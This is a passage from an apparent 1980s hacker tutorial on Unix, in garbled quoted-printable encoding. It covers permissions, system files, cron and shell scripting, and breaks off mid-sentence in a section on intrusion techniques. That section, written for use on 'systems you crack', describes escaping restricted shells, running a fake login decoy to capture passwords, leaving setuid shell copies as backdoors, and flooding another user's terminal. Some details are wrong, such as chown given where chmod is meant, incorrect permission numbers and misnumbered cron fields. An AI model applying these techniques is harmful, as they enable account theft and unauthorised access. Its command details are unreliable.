user to save and delete files in this directory. execute -If a user has execute access to a directory, he can go to th= at dir- =09ectory with the cd command. If he also has read permission to that= dir- =09ectory, he can also copy files from it and gain information on the= =20 =09permissions for that directory and the files it contains, with the= "l" =09option to the ls command, which will be explained soon. =09Unix divides users into 3 classes: user (the owner of the file or = dir- ectory), group (members of the owner's group), and other (anyone who = doesn't=20 fit into the first two classes). You can specify what permissions to = give to a=20 file for each class of user. =09To show the permissions of the files in a directory, use "ls -l". = This=20 will list the contents of the directory (as in ls), and will show eac= h's=20 permissions. For example: =09$ls =09bin startrek =09$ ls -l =09drwxrwxrwx 1 bin sys 12345 Mar 10 01:30 bin =09-rwxr-xr-- 1 guest users 256 Mar 20 02:25 startrek =09In the above example, the directory we are in contains a subdirect= ory=20 called bin and a file called "startrek". Here is an explantion of the= fields: The first field contains the file's type and permissions. Look at the= first=20 field of the first line, "drwxrwxrwx". Note the "d" at the begginning= . Then see=20 the "-" at the begginging of the first field for the file startrek. T= his shows=20 the file type. "D" is a directory. "-" is a file. "c" is a device fil= e. Now,=20 back to the first field of the first line again. Notice the "rwxrwxrw= x". These=20 are the permissions. The permissions are divided into three groups: [user][group][other]. R stands for read, w stands for write, and x st= and for=20 execute. "rwxrwxrwx" means that all three classes of users, owner, gr= oup, and=20 other, have read, write, and execute permissions to the directory bin= . Now look=20 at the second line. It reads "rwxr-xr--". Notice the "-"'s in the pla= ce of some=20 of the permissions. This means that the file was not given that permi= ssion.=20 Line 2 shows that the owner has read, write, and execute permissions = for the=20 file startrek, members of the owner's group have read and execute per= missions=20 but not write (notice the "-" in the place of the group part's w), an= d all=20 others have only read privileges ("r--"...there are hyphens in the pl= ace of the=20 others part's w and x).=20 =09Now, let's look at the other fields. The second field is a number = (in=20 this case, the number is one for each line). This shows the number of= copies of=20 this file on the system. The third field shows the name of the owner = of file=20 (or directory). The fourth field shows the username of the owner of t= he file.=20 The fifth field, which is not shown on some systems, shows the name o= f the=20 owner's group.The sixth field shows the size of the file. the seventh= field=20 shows the time and date the file was last modified. the last field sh= ows the=20 name of the file or directory. =09The command used to change file/directory permissions is chmod. Th= ere=20 are 2 ways to change permissions: symbolically and absolutely. This w= ill=20 explain both. =09When you change permissions symbolically, only the permissions you= =20 specify to be added or deleted will be changed. The other permissions= will=20 remain as they are. The format is: chown [u, g, or o] [+ or -] [rwx] [file/directory name] The following abbreviations are used: u -User (the file or directory's owner) g -Group (members of the owner's group) o -Others (all others) r -Read permission w -Write permission x -Execute permission You use u, g, and o to specify which group you wish to change the pri= vileges=20 for. To add a permission, type "chown [class]+[permissions] [filename= ]". For=20 instance, to add group write permissions to the file startrek, type "= chown g+w=20 startrek". To delete permissions, use the "-". For instance, to remov= e the=20 owner's write access to the file "startrek", type "chown u-w startrek= ". =09When you set file permissions absolutely, any permissions that you= do=20 not give the file or directory are automatically deleted. The format = for=20 setting permissions absolutely is "chown [mode number] filename". You= determine=20 the mode number by adding together the code numbers for the permissio= ns you=20 wish to give the file. Here are the permissions and their numbers: Others execute permission 1 Others write permission 2 Others read permission 4 Group execute permission 10 Group write permission 20 Group read permission 40 User (owner) execute permission 100 User (owner) write permission 200 User (owner) read permission 400 =09There are also two special file modes that can be set only absolut= ely.=20 These are the UID and GID modes. The UID mode, when applied to an exe= cutable=20 file, means that when another user executes the file, he executes it = under the=20 user number of the owner (in other words, he runs the program as if h= e were the=20 owner of the file). If the file has its GID mode bit set, then when s= omeone=20 executes the file, his group will temporarily be changed to that of t= he file's=20 owner. The permission number for the GID mode is 2000, and the number= for the=20 UID mode is 4000. If the uid bit is set, there will be an "S" in the = place of=20 the x in the owner permissions section when you check a file's permis= sions: -rwSr-xr-x If the uid bit is set, and the owner of the file has execute permissi= ons, the S=20 will not be capitalized: -rwsr-xr-x If the gid bit is set, the same applies to the x in the section on gr= oup=20 permissions. =09A short note here is in order on how these permissions affect supe= ruser=20 accounts. They don't-unless the owner of the file is root. All superu= ser=20 accounts have the same user number, which means that the system consi= ders them=20 all to be the same-that is, they are considered to be the root accoun= t. Thus,=20 superuser accounts are only bound by the protections of files and dir= ectories=20 that they own, and they can easily change the permissions of any file= s and=20 directories that they do not have the access to that they wish. SPECIAL UNIX FILES ------------------ =09This section will detail the purposes of some files that are found= on=20 all systems. There are quite a few of these, and knowing their uses a= nd what=20 format their entries are in is very useful to the hacker. THE FILES --------- /etc/passwd -This is the password file, and is THE single most im= portant=20 =09=09file on the system. This file is where information on the =09=09system's accounts are stored. Each entry has 7 fields: =09=09 =09=09username:password:user#:group#:description:home dir:shell =09=09The first field, naturally, is the account's username. The =09=09second field is the account's password (in an encrypted form). =09=09If this field is blank, the account doesn't have a password.= =20 =09=09The next field is the account's user number. The fourth field =09=09is the account's group number. The fifth field is for a =09=09description of the account. This field is used only in the =09=09password file, and is often just left blank, as it has no =09=09significance. The sixth field is the pathname of the account's =09=09home directory, and the last field is the pathname of the=20 =09=09account's shell program. Sometimes you may see an account with =09=09a program besides the standard shell programs (sh, csh, etc.) =09=09as its shell program. These are "command logins". These=20 =09=09accounts execute these programs when logging in. For example, =09=09the "who" command login would have the /bin/who program as its =09=09shell. =09=09Here is a typical-looking entry: =09=09root:hGBfdJYhdhflK:0:1:Superuser:/:/bin/sh =09=09This entry is for the root account. Notice that the encrypted= =20 =09=09form of the password is 13 characters, yet the Unix passwords =09=09are only 11 characters maximum. The last 2 characters are what =09=09is called a "salt string", and are used in the encryption =09=09process, which will be explained in more detail later. Now, =09=09notice the user number, which is zero. Any account with a user =09=09number of 0 has superuser capabilities. The group number is 1. =09=09The account description is "superuser". The account's home dir- =09=09ectory is the root directory, or "/". The account's shell is =09=09the bourne shell (sh), which is kept in the directory /bin. =09=09Sometimes you may see an entry in the password field like this: =09=09:NHFfnldyNjh,21AB: =09=09Notice the period after the 13th character, followed by 2 =09=09digits and 2 letters. If an account has an entry like this, the =09=09account has a fixed expiration date on its password. The first =09=09digit, in this case 2, shows the maximum number of weeks that =09=09the account can keep the same password. The second digit shows =09=09how many weeks must pass before the account can change its=20 =09=09password. (This is to prevent users from using the same old =09=09password constantly by changing the password when forced to and =09=09then changing it back immediately.) The last 2 characters are =09=09an encrypted form of when the password was last changed. =09=09Other unusual password field entries you might encounter are: =09=09:: =09=09:,21: =09=09The first entry means that the account has no password. The =09=09second entry means that the account has no password yet, but =09=09has a fixed expiration date that wil begin as soon as a pass- =09=09word is given to it. =09=09=09Now, for an explanation of how the Unix system encrypts =09=09the passwords. The first thing any hacker thinks of is trying =09=09decrypt the password file. This is as close to impossible as =09=09anything gets in this world. I've often heard other "hackers" =09=09brag about doing this...this is the biggest lie since Moses =09=09said "I did it". The encryption scheme is a variation on the =09=09DES (Data Encryption Standard). When you enter the command =09=09passwd (to change the password), the system will form a 2 =09=09character "salt string" based on the process number of the=20 =09=09password command you just issued. This 2-character string pro- =09=09duces a slight change in the way the password is encrypted. =09=09There are a total of 4096 different variations on the =09=09encryption scheme caused by different salt string characters. =09=09This is NOT the same encryption scheme used by the crypt =09=09utility. The password is NEVER decrypted on the system. When =09=09you log on, the password you enter at the password prompt is =09=09encrypted (the salt string is taken from the password file) =09=09and compared to the encrypted entry in the password file. The =09=09system generates its own key, and as of yet, I have not =09=09discovered any way to get the key. The login program does =09=09not encrypt the password you enter itself, it does so, I=20 =09=09believe, by a system call. /etc/group -This is the group file. This allows the superuser to= give =09=09certain accounts group access to groups other than their own. =09=09Entries are in the format: =09 =20 =09 group name:password:group number:users in this group =09=09The first field is the name of the group. The second is the =09=09field for the group password. In all my experience with Unix, =09=09I have never seen the password feature used. The third is the =09=09group's number. The fourth field is a list of the users who =09=09group access to this group. (Note: this can include users whose =09=09group number is different from the number of the group whose =09=09entry you are reading in the group file.) The usernames are =09=09separated by commas. Here's an example: =09=09sys::2:root,sys,adm,lp =09=09To change to a new group identity, type "newgrp [group]". If =09=09the group has a password, you must enter the proper password. =09=09You cannot change to another group if you are not listed as a =09=09member of that group in the group file. =09=09 /dev/console -This is the device file for the system console, or t= he =09=09system's main terminal. /dev/tty## -The device files for the system's terminals are usua= lly in =09=09the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc. =09=09Some ways to make use of the Unix system's treatment of devices =09=09as files will be explored in the section on Hacking Unix. When =09=09these files are not in use by a user (in other words, no one's =09=09logged onto this terminal), the file is owned by root. While a =09=09user is logged onto a terminal, however, ownership of its=20 =09=09device file is temporarily transferred to that account. /dev/dk## -These are the device files for the system's disks. login files -There are special files that are in a user's home di= rectory =09=09that contain commands that are executed when the user logs in. =09=09The name of the file depends on what shell the user is using. =09=09Here are the names of the files for the various shells: =09=09 =09=09Shell File =09=09----- ---- =09=09sh .profile =09=09csh .cshrc =09=09ksh .login =09=09rsh .profile =09=09Some systems also use a file called ".logout" that contains =09=09commands which are executed upon logoff. =09=09=09These types of files are called shell scripts, and will =09=09will be explained in the section on Unix Software Development's =09=09explanation of shell programming. /usr/adm/sulog -This is a log of all attempted uses of the su utilit= y. It =09=09shows when the attempt was made, what account made it, and =09=09which account the user attempted to assume, and whether or not =09=09the attempt was successful. /usr/adm/loginlog or /usr/adm/acct/sum/loginlog- This is a log of all logins to the system= . This =09=09only includes the time and the account's username. mbox -These are files in the home directories of the syste= m's users, =09=09that contain all the mail messages that they have saved. /usr/mail/ -These files in the directory /usr/mail are n= amed after =09=09=09system accounts. They contain all the unread mail for =09=09=09the account they are named after. /dev/null -This is the null device file. Anything written to th= is file is =09=09just lost forever. Any attempt to read this file will result in =09=09an immediate control-D (end of file) character. /tmp -The directory /tmp provides storage space for temporary file= s created =09by programs and other processes. This directory will always have =09rwxrwxrwx permissions. Examining these files occasionally reveals = some =09interesting information, and if you know what program generates th= em =09and the format of the information in the file, you could easily ch= ange =09the info in the files, thereby changing the outcome of the program= . THE CRON UTILITIES ------------------ =09An understanding of the cron utilities will be necessary to unders= tand=20 certain parts of the section on Hacking Unix. This section will give = a detailed=20 explanation of the workings of the cron utilities. =09The cron utility is a utility which carries out tasks which must b= e performed on a periodic basis. These tasks, and the times when they a= re to be=20 carried out, are kept in files in 2 directories: /usr/lib and=20 /usr/spool/cron. =09The file crontab in the directory /usr/lib contains entries for sy= stem=20 tasks that must be performed on a periodic basis. The format for the = entries in=20 this file is: minute hour dayofmonth monthofyear dayofweek commandstring The first field is the minutes field. This is a value from 0-59. The second field is the hour field, a value from 0-23. The third field is the day of the month, a value from 1-31. The fifth field is the month of the year, a value from 1-2. The sixth field is the day of the week, a value from 1-7, with monday= being 1. The seventh field is the pathname and any arguments of the task to be= carried=20 out. An asterisk in a field means to carry out the task for every value of= that=20 field. For instance, an asterisk in the minutes field would mean to c= arry out=20 that task every minute. Here's an example crontab entry: 0 1 * * * /bin/sync This runs sync command, which is kept in the directory bin, at 1 am e= very day. Commands in the file /usr/lib/crontab are performed with root privile= ges. =09in the directory /usr/spool/crontabs, you will find files named af= ter=20 system accounts. These files contain cron entries which are the same = as those=20 in the file /usr/lib/crontab, but are carried out under the id of the= user the=20 file is named after. The entries are in the same format. BEWARE! When modifying cron files- cron activity is logged! All cron = activity=20 is logged in the file /usr/adm/cronlog. I've found, however, that on = most=20 systems, this file is almost never checked. UNIX SOFTWARE DEVELOPMENT ------------------------- =09The Unix operating system was initially created as an enviroment f= or=20 software development, and that remains its main use. This section wil= l detail=20 some of the os's main facilities for software development, the C comp= iler and=20 shell programming, and their related utilities. A few of the other la= nguages=20 will be briefly touched upon at the end of this section, also. SHELL PROGRAMMING ----------------- =09The shell is more than a simple command interpreter. It is also a= =20 sophisticated programming tool, with variables, control structures, a= nd the=20 features of just about any other programming language. Shell programs= are=20 called scripts. Scripts are just text files which contain the names o= f commands=20 and programs. When the script is executed, the command and programs w= hose names=20 it contains are executed as if you had typed in their names from your= keyboard.=20 There are two ways to execute a shell script: if you have execute per= mission to=20 it, you can simply type in its name. Otherwise, (if you have read acc= ess to=20 it), you can type "sh [filename]". Here is a sample shell script: who whoami As you can see, it contains the commands who and whoami. When you exe= cute it,=20 you will see a list of the system's current users (the output of the = who=20 command), and which account you are logged in under (the output of th= e whoami=20 command). =09This will concentrate solely on shell programming. While shell= =20 programming is essentially the same with all the shells, there are sl= ight=20 syntax differences that make shell scripts incompatible with shells t= hat they=20 were not specifically written for. SHELL VARIABLES --------------- =09Like any programming language, the shell can handle variables. To = set=20 the value of a variable, type: [variable]=3D[value] For example: counter=3D1 This will assign the value "1" to the variable counter. If the variab= le counter=20 does not already exist, the shell will create it. Note, that there ar= e no=20 "numeric" variables in shell programming- all the variables are strin= gs. For=20 instance, we could later type: counter=3DThis is a string And counter would now be equal to "This is a string". There is a comm= and called=20 "expr", however, that will let you treat a variable as a numeric valu= e, and=20 will be explained later. =09When setting the value of a variable, you only use the variable na= me.=20 When you specify a variable as an argument to a command or program, h= owever,=20 you must precede the variable with a dollar sign. For instance: user=3Droot Now, we want to specify user as an argument to the command "ps -u". W= e would=20 type: ps -u$user Which would, of course, display the processes of the user "root". SPECIAL SHELL VARIABLES ----------------------- =09There are certain vaiables which are already pre-defined by the sh= ell,=20 and have special meaning to it. Here is a list of the more important = ones and=20 their meanings to the shell: HOME -(Notice the caps. All pre-defined variables are in all-caps.= ) This =09variable contains the pathname of the user's home directory. PATH -This is a good time to explain something which makes Unix a = very =09unique operating system. In Unix, there are no commands "built-in"= to =09the operating system. All the commands are just regular programs. = The =09PATH variable contains a list of the pathnames of directories. Whe= n you =09type in the name of a command or program, the shell searches throu= gh =09the directories listed in the PATH variable (in the order specifie= d in =09the variable) until it finds a program with the same name as the n= ame =09you just typed in. The format for the list of directories in the P= ATH =09variable is: =09 =09[pathname]:[pathname]:[pathname]... =09For example, the default searchpath is usually: =09/bin:/usr/bin:/usr/local =09A blank entry in the pathname, or an entry for ".", means to check= the =09directory the user is currently in. For instance, all these paths =09contain blank or "." entries: =09.:/bin:/usr/bin [Notice . at begginning of path] =09:/bin:/usr/bin [Notice that path begins with :] =09/bin:/usr/bin: [Note that path ends with : ] PS1 -This variable contains the shell prompt string. The default = is usually =09"$" ("&" if you're using BSD Unix). If you have the "&" prompt, an= d =09wish to have the dollar sign prompt instead, just type: =09PS1=3D$ TERM -This contains the type of terminal you are using. Common ter= minal =09types are: =09 =09ansi vt100 vt52 vt200 ascii tv150 =09And etc... Just type "TERM=3D[termtype]" to set your terminal type= . COMMAND LINE VARIABLES ---------------------- =09Command line variables are variables whose values are set to argum= ents=20 entered on the command line when you execute the shell script. For in= stance,=20 here is a sample shell script called "repeat" that uses command line = variables: echo $1 echo $2 echo $3 The echo command prints out the values following it. In this case, it= will=20 print out the values of the variables $1, $2, and $3. These are the c= ommand=20 line variables. For instance, $1 contains the value of the first argu= ment you=20 entered on the command line, $2 contains the second, $3 contains the = third, an=20 so on to infinity. Now, execute the script: repeat apples pears peaches The output from the "repeat" shell script would be: apples pears peaches Get the idea? SPECIAL COMMAND LINE VARIABLES ------------------------------ =09There are 2 special command line variables, $O and $#. $O contains= the=20 name of command you typed in (in the last example, $O would be repeat= ). $#=20 contains the number of arguments in the command line. (In the last ex= ample, $#=20 would be 3.) SPECIAL COMMANDS FOR SHELL PROGRAMS ----------------------------------- =09These commands were added to the Unix os especially for shell=20 programming. This section will list them, their syntax, and their use= s. read -This command reads the value of a variable from the terminal= . The =09format is: "read [variable]". For example, "read number". The vari= able =09is not preceded by a dollar sign when used as an argument to this = com- =09mand. echo -This command displays information on the screen. For example= , =09"echo hello" would display "hello" on your terminal. If you specif= y =09a variable as an argument, it must be preceded by a dollar sign, f= or =09example "echo $greeting". trap -This command traps certain events, such as the user being di= sconnected =09or pressing the break key, and tells what commands to carry out if= they =09occur. The format is: trap "commands" eventcodes. the event codes = are: =092 for break key, and 1 for disconnect. You can specify multiple co= m- =09mands with the quotation marks, separating the commands with a sem= i- =09colon (";"). For example: =09trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2 =09Would echo "Hey stupid!" and "Don't hit the break key" if the user= hits =09the break key while the shell script is being executed. exit -This command terminates the execution of a shell procedure, = and ret- =09urns a diagnostic value to the enviroment. The format is: =09"exit [value]", where value is 0 for true and 1 for false. The mea= ning =09of the value parameter will become clear later, in the section on =09the shell's provisions for conditional execution. If the shell scr= ipt =09being executed is being executed by another shell script, control = is =09passed to the next highest shell script. ARITHMETIC WITH EXPR -------------------- =09The expr command allows you to perform arithmetic on the shell= =20 variables, and sends the output to the screen. (Though the output may= be=20 redirected.) The format is: expr [arg] [function] [arg] [function] [arg]... Where [arg] may be either a value, or a variable (preceded by a dolla= r sign),=20 and [function] is an arithmetic operation, one of the following: + -Add. - -Subtract. \* -Multiply. / -Divide. % -Remainder from a division operation. For example: $ num1=3D3 $ num2=3D5 $ expr num1 + num2 8 $ TEXT MANIPULATION WITH SORT --------------------------- =09The sort command sorts text by ASCII or numeric value. The command= =20 format is: sort [field][option]... file where file is the file you wish to sort. (The sort command's input ma= y be=20 redirected, though, just as its output, which is ordinarily to the sc= reen, can=20 be.) The sort command sorts by the file's fields. If you don't specif= y any=20 specific field, the first field is assumed. for example, say this fil= e=20 contained names and test scores: Billy Bob 10 Tom McKann 5 Doobie Kairful 20 the file's fields would be first name, last name, and score. So, to s= ort the=20 above file (called "students") by first name, you would issue the com= mand: sort students And you would see: Billy Bob 10 Doobie Kairful 20 Tom McKann 5 If you wanted to sort the file's entries by another field, say the se= cond field=20 of the file "students" (last names), you would specify: sort +1 students The +1 means to skip ahead one field and then begin sorting. Now, say= we wanted=20 to sort the file by the 3rd field (scores). We would type: sort +2 students to skip 2 fields. But the output would be: Billy Bob 10 Tom McKann 5 Doobie Kairful 20 Notice that the shorter names came first, regardless of the numbers i= n the=20 second field. There is a reason for this- the spaces between the seco= nd and 3rd=20 fields are considered to be part of the 3rd field. You can tell the s= ort=20 command to ignore spaces when sorting a field, however, using the b o= ption. The=20 format would be: sort +2b students but...another error! The output would be: Billy Bob 10 Doobie Kairful 20 Tom McKann 5 Why did the value 5 come after 10 and 20? Because the sort command wa= sn't=20 really sorting by numeric value- it was sorting by the ASCII values o= f the=20 characters in the third field, and 5 comes after the digits 1 and 2. = We could=20 specify that the field be treated by its numerical value by specifyin= g the n=20 option: sort +2n students Output:=20 Tom McKann 5 Billy Bob 10 Doobie Kairful 20 Notice that if we use the n option, blanks are automatically ignored. We can also specify that sort work in the reverse order on a field. F= or=20 example, if we wanted to sort by last names in reverse order: sort +1r students Output: Tom McKann 5 Doobie Kairful 20 Billy Bob 10 By using pipes, you can direct the output of one sort command to the = input of=20 yet another sort command, thus allowing you to sort a file by more th= an one=20 field. This makes sort an excellent tool for text manipulation. It is= not,=20 however, the only one. Remember, you can use any Unix command or prog= ram in a=20 shell script, and there are many different commands for text manipula= tion in=20 Unix, such as grep (described in an earlier section on basic commands= ).=20 Experiment with the different commands and ways of using them. LOOPING ------- =09The for/do loop is a simple way to repeat a step for a certain num= ber=20 of times. The format is: for [variable] in [values] do [commands] done You do not precede the variable with a dollar sign in this command. T= he for/do=20 loop works by assigning the variable values from the list of values g= iven, one=20 at a time. For example: for loopvar in 1 2 3 5 6 7 do echo $loopvar done On the first pass of the loop, loopvar would be assigned the value 1,= on the=20 second pass 2, on the third pass 3, on the fourth pass 5, on the fift= h pass 6,=20 and on the sixth pass 7. I skipped the number 4 to show that you do n= ot have to=20 use values in numerical order. In fact, you don't have to use numeric= al=20 arguments. You could just as easily have assigned loopvar a string va= lue: for loopvar in apples peaches pears do echo "This pass's fruit is:" echo $loopvar done Note that you can also specify multiple commands to be carried out in= the do=20 portion of the loop. SELECTIVE EXECUTION WITH CASE ----------------------------- =09The case command allows you to execute commands based on the value= of a=20 variable. The format is: case [variable] in =09[value]) commands =09=09=09commands =09=09=09commands;; [value2]) commands =09=09=09commands;; [value3]) ...and so on =09esac For example: case $choice in =091) echo "You have chosen option one." =09=09echo "This is not a good choice.";; =092) echo "Option 2 is a good choice.";; =09*) echo "Invalid option.";; =09esac Now, to explain that: =09If the variable choice's value is "1", the commands in the section= for=20 the value 1 are carried out until a pair of semicolons (";;") is foun= d. The=20 same if the value of choice is "2". Now, note the last entry, "*". Th= is is a=20 wildcard character. This means to execute the commands in this sectio= n for any=20 other value of choice. Easac signals the end of the list of execution= options=20 for case. DETERMINING TRUE/FALSE CONDITIONS WITH TEST ------------------------------------------- =09The test command tests for various conditions of files and variabl= es=20 and returns either a true value (0) or a false value (1), which is us= ed in=20 conjuction with the if/then statements to determine whether or not a = series of=20 commands are executed. There are several different formats for test, = depending=20 on what kind of condition you are testing for. When using variables w= ith test,=20 you must always precede the variable with a dollar sign. NUMERIC TESTS ------------- Format: test [arg1] option [arg2] the arguments can either be numbers or variables. OPTIONS TESTS TRUE IF ------- ------------- -eq arg1=3Darg2 -ne arg1<>arg2 -gt arg1>arg2 -lt arg1=3Darg2 -le arg1<=3Darg2 FILETYPE TESTS ------------- Format: test [option] file or directory name OPTIONS TESTS TRUE IF ------- ------------- -s file or directory exists and is not empty -f the "file" is a file and not a directory -d the "file" is really a directory -w the user has write permission to the file/directory -r the user has read permission to the file/directory CHARACTER STRING TESTS ---------------------- Format: test [arg1] option [arg2] The arguments can be either strings of characters or variables with c= haracter=20 string values. OPTIONS TESTS TRUE IF ------- ------------- =3D arg1=3Darg2 !=3D arg<>arg2 A note here about string tests. You must enclose the names of the var= iables in=20 quotation marks (like "$arg1") if you wish the test to take into cons= ideration=20 spaces, otherwise space characters are ignored, and " blue" would = be=20 considered the same as "blue". TESTING FOR THE EXISTANCE OF A STRING OF CHARACTERS --------------------------------------------------- Format: test [option] arg Arg is a variable. OPTIONS TESTS TRUE IF ------- ------------- -z variable has a length of 0 -n variable has a length greater than 0 COMBINING TESTS WITH -A AND -O ------------------------------ =09These options stand for "and" (-a) and "or" (-o). They allow you t= o=20 combine tests, for example: test arg1 =3D arg2 -o arg1 =3D arg3 means that a true condition is returned if arg1=3Darg2 or arg1=3Darg3= . CONDITIONAL EXECUTION WITH IF/THEN/ELSE/ELIF -------------------------------------------- Format: if [this condition is true] then [do these commands] fi Example: if test arg1 =3D arg2 then echo "argument 1 is the same as argument 2" fi This is pretty much self-explanatory. If the condition test on the if= line=20 returns a true value, the the commands following "then" are carried o= ut until=20 the fi statement is encountered. Format: if [this condition is true] then [do these commands] else [do these commands] fi Again, pretty much self explanatory. The same as the above, except th= at if the=20 condition isn't true, the commands following else are carried out, un= til fi is=20 encountered. Format: if [this condition is true] then [do these commands] elif [this condition is true] then [do these commands] fi The elif command executes another condition test if the first conditi= on test is=20 false, and if the elif's condition test returns a true value, the com= mand for=20 its then statement are then carried out. Stands for "else if". WHILE/DO LOOPS -------------- Format: while [this condition is true] then [do these commands] done Repeats the commands following "then" for as long as the condition fo= llowing=20 "while" is true. Example: while test $looper !=3D "q" then read looper echo $looper done while will read the value of the variable looper from the keyboard an= d display=20 it on the screen, and ends if the value of looper is "q". SUMMARY ------- =09This small tutorial by no means is a complete guide to shell=20 programming. Look at shell scripts on the systems you crack and follo= w their=20 examples. Remember, that you can accomplish a great deal by combining= the=20 various control structures (such as having an if/then conditional str= ucture=20 call up a while/do loop if the condition is true, etc.) and by using = I/O=20 redirection, pipes, etc. My next Unix file will cover more advanced s= hell=20 programming, and examine shell programming on another popular shell, = the=20 Berkely C shell. THE C COMPILER -------------- =09C is sort of the "official" language of Unix. Most of the Unix= =20 operating system was written in C, and just about every system I've e= ver been=20 on had the C compiler. The command to invoke the c compiler is cc. Th= e format=20 is "cc [filename]", where filename is the name of the file which cont= ains the=20 source code. (The filename must end in .c) You can create the source = code file=20 with any of the system's text editors. The include files, stdio.h and= others,=20 are kept in a directory on the system. You do not have to have a copy= of=20 these files in your current directory when you compile the file, the = compiler=20 will search this directory for them. If you wish to include any files= not in=20 the include library, they must be in your current directory. The comp= iled=20 output will be a file called "a.out" in your current directory. COMPILING INDIVIDUAL MODULES ---------------------------- =09If you're working on a very large program, you will probably want = to=20 break it up into small modules. You compile the individual modules wi= th the -c=20 option, which only generates the object files for the module. Then, u= se the=20 link editor to combine and compile the object files. The object files= will be=20 generated with the same name as the source files, but the file extens= ion will=20 be changed from .c to .o When you have created all the object files= for all=20 of the modules, combine them with the ld (link editor) like this: ld /lib/crtO.o [module] [module]... -lc which will give you the final, compiled program, in a file named a.ou= t. For=20 example: ld /lib/crtO.o part1.o part2.o -lc You must remeber to include /lib/crtO.o and the -lc parts in the comm= and, in=20 the order shown. Also, the object files must be specified in the ld c= ommand=20 in the order that they must be in the program (for instance, if part1= called=20 part2, part2 can't be BEFORE part1). CHECKING FOR ERRORS IN C PROGRAMS --------------------------------- =09The lint command checks for errors and incompatibility errors in C= =20 source code. Type "lint [c source-code file]". Not all of the message= s returned=20 by lint are errors which will prevent the program from compiling or e= xecuting=20 properly. As stated, it will report lines of code which may not be= =20 transportable to other Unix systems, unused variables, etc. C BEAUTIFIER ------------ =09The cb (C beautifier) program formats C source code in an easy to = read,=20 "pretty" style. The format is "cb [file]". The output is to the scree= n, so if=20 you want to put the formatted source code into a file, you must redir= ect the=20 output. SPECIAL C COMMANDS ------------------ =09The Unix C compiler has a command called system that executes Unix= =20 commands and programs as if you had typed in the commands from the ke= yboard.=20 The format is: system("command line") Where command line is any command line you can execute from the shell= , such as: system("cat /etc/passwd") Another command which performs a similar function is execvp. The form= at is: execvp("command") An interesting trick is to execute a shell program using execvp. This= will make=20 the program function as a shell. HACKING THE UNIX SYSTEM ----------------------- =09This is it, kiddies, the one you've waded through all that rodent= =20 nonsense for! This section will describe advanced hacking techniques.= Most of=20 these techniques are methods of defeating internal security (I.E. sec= urity once=20 you're actually inside the system). There is little to be said on the= subject=20 of hacking into the system itself that hasn't already been said in th= e earlier=20 sections on logging in, Unix accounts, and Unix passwords. I will say= this=20 much- it's easier, and faster, to password hack your way from outside= the=20 system into a user account. Once you're actually inside the system, y= ou will=20 find it, using the techniques described in this section, almost easy = to gain=20 superuser access on most systems. (Not to mention that nothing is qui= te as=20 rewarding as spending 3 days hacking the root account on a system, on= ly to=20 receive the message "not on console-disconnecting" when you finally f= ind the=20 proper password.) If you do not have a good understanding of the Unix= operating=20 system and some of its more important utilities already, you should r= ead the=20 earlier parts of this file before going on to this section. OVERCOMING RSH RESTRICTIONS --------------------------- =09The rsh (restricted Bourne shell) shell attempts to limit the comm= ands=20 available to a user by preventing him from executing commands outside= of his=20 searchpath, and preventing him from changing directories. It also pre= vents you=20 =66rom changing the value of shell variables directly (i.e. typing= =20 "variable=3Dvalue"). There are some easy ways to overcome these restr= ictions. =09You can reference any file and directory in the system by simply u= sing=20 its full pathname. You can't change directories like this, or execute= a file that is outside of your searchpath, but you can do such things as lis= t out the=20 contents of directories, edit files in other directories, etc. (If yo= u have=20 access to the necessary commands.) =09The biggest flaw in rsh security is that the restrictions that are= =20 described above ignored when the account's profile file is executed u= pon logon.=20 This means that, if you have access to the edit command, or some othe= r means of=20 modifying your account's profile, you can add a line to add a directo= ry to your=20 searchpath, thereby letting you execute any programs in that director= y. The=20 restriction on changing directories is also ignored during logon exec= ution of=20 the profile. So, if you absolutely, positively HAVE to go to another = directory,=20 you can add a cd command your .profile file. OVERCOMING COPY AND WRITE RESTRICTIONS -------------------------------------- =09This is a simple trick. If you have read access t a file, but cann= ot=20 copy it because of directory protections, simply redirect the output = of the cat=20 command into another file. If you have write access to a directory bu= t not=20 write access to a specific file, you can create a copy of the file, m= odify it=20 (since it will be owned by your account), delete the original, and re= name the=20 copy to the name of the original. DETACHED ACCOUNTS ----------------- =09This is a big security hole in many Unix systems. Occasionally, if= a=20 user is disconnected without logging off, his account may remain on-l= ine, and=20 still attached to the tty he was connected to the system through. Now= , if=20 someone calls to the system and and gets connected to that tty, he is= =20 automatically inside the system, inside the disconnected user's accou= nt. There=20 are some interesting ways to take advantage of this flaw. For instanc= e, if you=20 desire to gain the passwords to more account, you can set a decoy pro= gram up to=20 fake the login sequence, execute the program, and then disconnect fro= m the=20 system. Soon, some unlucky user will call the system and be switched = into the=20 detached account's tty. When they enter their username and password, = the decoy=20 will store their input in a file on the system, display the message "= login=20 incorrect", and then kill the detached account's shell process, thus = placing=20 the user at the real login prompt. A Unix decoy written by Shooting S= hark will=20 be given at the end of this file. UID SHELLS ---------- =09When the uid bit is set on a shell program, executing this shell w= ill=20 change your user id to the user id of the account that owns the shell= file, and=20 you will have full use of that account, until you press control-d (en= ding the=20 second shell process) and return to your normal user id. This gives y= ou the=20 power to execute any commands under that account's user id. This is b= etter than=20 knowing the account's password, since as long as the file remains on = the=20 system, you can continue to make use of that account, even if the pas= sword is=20 changed. When I gain control of an account, I usually make a copy of = the shell=20 while logged in under that account in a nice, out of the way director= y, and set=20 its uid and gid bits. That way, if I should happen to lose the accoun= t (for=20 instance, if the password were changed), I could log in under another= account=20 and still make use of the lost account by executing the uid shell. FORCED DETACHING ---------------- =09This is an easy means of gaining the use of an account on systems = with=20 the detached account flaw. Usually, most terminal device files will h= ave public=20 write permission, so that the user that logs in under it can receive = messages=20 via write (unless he turns off messages with the mesg n command). Thi= s means=20 that you can cat a file into the user's terminal device file. A compi= led file,=20 full of all kinds of strange control characters and garbage, works ni= cely. Say,=20 the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. T= he user=20 will see something like this on his screen: LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd= =20 b/fujhf;shf;j;kajbv;jfa;vdblwituwoet8y6- 2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b v856 -868vcf-56- e8w9v6bc[6[b6r8wpcvt Hehehe! Now, the poor devil is confused. He tries to press break- no = response,=20 and the garbage just keeps coming. He tries to enter various commands= , to no=20 avail. Catting a file into his terminal device file "ties it up", so = to speak,=20 and since this is the file through which all I/O with his terminal is= done, he=20 finds it almost impossible to get any input through to 